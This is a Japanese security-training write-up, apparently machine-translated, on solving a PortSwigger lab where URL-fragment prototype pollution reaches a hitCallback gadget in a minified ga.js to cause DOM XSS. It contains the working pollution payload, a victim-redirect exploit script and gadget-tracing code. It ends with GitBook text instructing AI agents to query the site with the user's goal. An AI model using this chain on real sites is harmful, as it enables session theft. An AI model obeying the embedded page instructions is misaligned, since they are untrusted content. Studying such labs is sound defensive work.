> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# サードパーティライブラリにおけるクライアントサイド・プロトタイプ汚染

サードパーティライブラリにおけるクライアントサイド・プロトタイプ汚染の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含

### サードパーティライブラリにおけるクライアントサイドのプロトタイプ汚染

#### ラボのコンテキスト

このラボは〜に対して脆弱です **クライアントサイドのプロトタイプ汚染を介した DOM XSS**. / ここでの特徴は、脆弱な **ガジェットがサードパーティの JavaScript ライブラリにある**、そのコードは **圧縮されている**、そのため手動解析はより複雑になる。

このラボは、実際の脆弱性から着想を得ている **PortSwigger Research**、特に Gareth Heyes による記事「Widespread prototype pollution gadgets」で **Gareth Heyes**.

最終目標:/ \*\* 実行 `alert(document.cookie)` 被害者のブラウザ\*\*で、提供されたエクスプロイトサーバーを使用して実行する。

### 推奨アプローチ: DOM Invader を使った自動攻撃

#### DOM Invader の有効化

1. 内蔵ブラウザを開いて **Burp Suite**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d625f4b980ff05ac2ee981dbafbd7eb2955cc8c1%2Fimage%20(91).png?alt=media" alt=""><figcaption></figcaption></figure>

* 〜を確認する **DOM Invader** 拡張機能が有効になっている。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf3768a24da0bedae989d42b57b845992477fb3e%2Fimage%20(92).png?alt=media" alt=""><figcaption></figcaption></figure>

有効化：

* **DOM Invader は ON**
* **攻撃タイプ：プロトタイプ汚染**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca3e288007fc1232a49467b13b395ddb8b615dd3%2Fimage%20(93).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 脆弱なソースの特定

* その **DOM Invader** タブで、 **プロトタイプ汚染のソース** が自動的に検出される。
* DOM Invader は、汚染が \*\* URL フラグメント（`#`）\*\* を介して可能であり、従来の設定（`?`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be14fd3875d6d4fe4b572a16950c0bd7c46eba10%2Fimage%20(94).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 自動ガジェット探索

1. 起動 **ガジェットをスキャン** DOM Invader から

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26a5ad548d394751e299020260b555900c6c0a77%2Fimage%20(95).png?alt=media" alt=""><figcaption></figcaption></figure>

サードパーティライブラリで悪用可能なガジェットが特定される。

クリックすると **エクスプロイト**、DOM Invader は次の内容で実行を確認する `alert(1)`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9baf266ac3afb989041c05de92699b387d04716%2Fimage%20(97).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f10f97924c33e1f7586165ca87e2455b7fd2fba%2Fimage%20(96).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 最終ペイロード（document.cookie）

DOM Invader により特定されたペイロード：

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

このペイロードは cookie を含むアラートを発火させる

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e2db01e09fe312bd5961de76267f51da4e81d1c%2Fimage%20(98).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 被害者へのエクスプロイトの配信

次のコードが **稼働中の**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

被害者がページを読み込むと、そのブラウザで JavaScript が実行される

### 手動アプローチ（詳細な解析）

#### 従来の汚染の試み（失敗）

次のペイロードは\*\*動作しない\*\*：

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

結果

```javascript
console.log({}.foo); // 未定義
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb18e5d6bd87b621ba306bac8b703fd99dff75c6%2Fimage%20(99).png?alt=media" alt=""><figcaption></figcaption></figure>

#### URL フラグメント経由の汚染（成功）

しかし、汚染は\*\*次で機能する `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

これは、脆弱なソースが URL フラグメントを取り込んでいることを示している

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf6a41e16ee7930c805d3e349f8a834c9063f2b2%2Fimage%20(100).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### サードパーティライブラリの解析

* 大きなファイルが読み込まれる：

/resources/js/ga.js

約3000行の圧縮コード。

* このファイルには hitCallback というコールバックが含まれており、厳密な検証なしに使われている。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f5e14d7e1ab8b6397b92cf54df121d6dd0e4aa1%2Fimage%20(101).png?alt=media" alt=""><figcaption></figcaption></figure>

### 手動でのガジェット特定

#### を使ったトレース手法 `Object.defineProperty`

どのプロパティが読み取られているかを見つけるために `Object.prototype`、次を注入する：

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### JavaScript 実行の停止

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b582d901a85abad50fcc84cb6a0fc5a59043dbf0%2Fimage%20(102).png?alt=media" alt=""><figcaption></figcaption></figure>

HTML レスポンスを傍受して、次を注入する：

```javascript
<script>
    debugger;
</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6e976a509e7be5eb20a86283701c0bfcf012439%2Fimage%20(103).png?alt=media" alt=""><figcaption></figcaption></figure>

ブラウザは \*\* で停止する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecdbf4daf035d06b83dba3906bdd872d457da9a0%2Fimage%20(104).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 候補プロパティのテスト

未使用プロパティの例

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

興味深いトレースはない。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7aed72f01a1de55bf34000bc8eeff781fc8403%2Fimage%20(106).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75f0885f74f91535d29eeb377b4383e5897697ab%2Fimage%20(105).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 有効なガジェットの発見： `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

結果:

* `console.trace()` は、〜からの呼び出しの連なりを示す `ga.js`
* このプロパティは適切に **読み取られ、関数として実行される**

この挙動は、〜を確認する `hitCallback` JavaScript コールバックとして呼び出される

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b15979f40594902557c9c3362316d0bc94d5e8%2Fimage%20(107).png?alt=media" alt=""><figcaption></figcaption></figure>

この挙動は、〜を確認する `hitCallback` JavaScript コールバックとして呼び出される

```javascript
キャッチされていない ReferenceError: polluted は定義されていません
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11dd93280be32ce207a0f9af097ba6a18d6ef6c0%2Fimage%20(108).png?alt=media" alt=""><figcaption></figcaption></figure>

* その `hitCallback` ガジェットにより任意の \*\*JavaScript 実行\*\* が可能となり、結果として **DOM XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5d88453913b109956a694199f787e312a9cf6b%2Fimage%20(109).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
